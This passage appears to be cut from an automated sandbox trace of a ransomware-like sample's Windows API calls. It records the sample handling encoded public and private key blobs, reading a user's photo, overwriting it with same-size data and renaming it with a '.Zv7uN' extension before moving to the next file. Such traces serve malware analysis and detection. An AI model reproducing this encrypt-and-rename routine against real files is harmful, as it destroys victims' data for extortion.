HHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0085.491] GetCurrentThreadId () returned 0xa30 [0085.492] GetCurrentThreadId () returned 0xa30 [0085.492] GetCurrentThreadId () returned 0xa30 [0085.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.493] GetCurrentThreadId () returned 0xa30 [0085.493] GetCurrentThreadId () returned 0xa30 [0085.493] GetCurrentThreadId () returned 0xa30 [0085.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\VnMkxHGllRW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\vnmkxhgllrw.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.493] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0085.493] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.493] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x452b [0085.493] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.494] ReadFile (in: hFile=0x11c, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x452b, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f108*=0x452b, lpOverlapped=0x0) returned 1 [0085.496] CloseHandle (hObject=0x11c) returned 1 [0085.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\VnMkxHGllRW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\vnmkxhgllrw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.498] WriteFile (in: hFile=0x11c, lpBuffer=0x1ef6040*, nNumberOfBytesToWrite=0x452b, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1ef6040*, lpNumberOfBytesWritten=0x18f114*=0x452b, lpOverlapped=0x0) returned 1 [0085.501] CloseHandle (hObject=0x11c) returned 1 [0085.502] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\VnMkxHGllRW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\vnmkxhgllrw.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\VnMkxHGllRW.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\vnmkxhgllrw.jpg.zv7un")) returned 1 [0085.503] GetCurrentThreadId () returned 0xa30 [0085.503] GetCurrentThreadId () returned 0xa30 [0085.503] GetCurrentThreadId () returned 0xa30 [0085.503] GetCurrentThreadId () returned 0xa30 [0085.503] GetCurrentThreadId () returned 0xa30 [0085.503] GetCurrentThreadId () returned 0xa30 [0085.503] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7af9d230, ftCreationTime.dwHighDateTime=0x1d5dc98, ftLastAccessTime.dwLowDateTime=0x2b508050, ftLastAccessTime.dwHighDateTime=0x1d5e2bd, ftLastWriteTime.dwLowDateTime=0x2b508050, ftLastWriteTime.dwHighDateTime=0x1d5e2bd, nFileSizeHigh=0x0, nFileSizeLow=0xa908, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_DoNNCW.gif", cAlternateFileName="")) returned 1 [0085.504] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.504] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.504] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\_DoNNCW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\_donncw.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7af9d230, ftCreationTime.dwHighDateTime=0x1d5dc98, ftLastAccessTime.dwLowDateTime=0x2b508050, ftLastAccessTime.dwHighDateTime=0x1d5e2bd, ftLastWriteTime.dwLowDateTime=0x2b508050, ftLastWriteTime.dwHighDateTime=0x1d5e2bd, nFileSizeHigh=0x0, nFileSizeLow=0xa908)) returned 1 [0085.504] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\_DoNNCW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\_donncw.gif")) returned 0x20 [0085.504] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\_DoNNCW.gif", dwFileAttributes=0x80) returned 1 [0085.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.507] GetCurrentThreadId () returned 0xa30 [0085.508] GetCurrentThreadId () returned 0xa30 [0085.508] GetCurrentThreadId () returned 0xa30 [0085.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 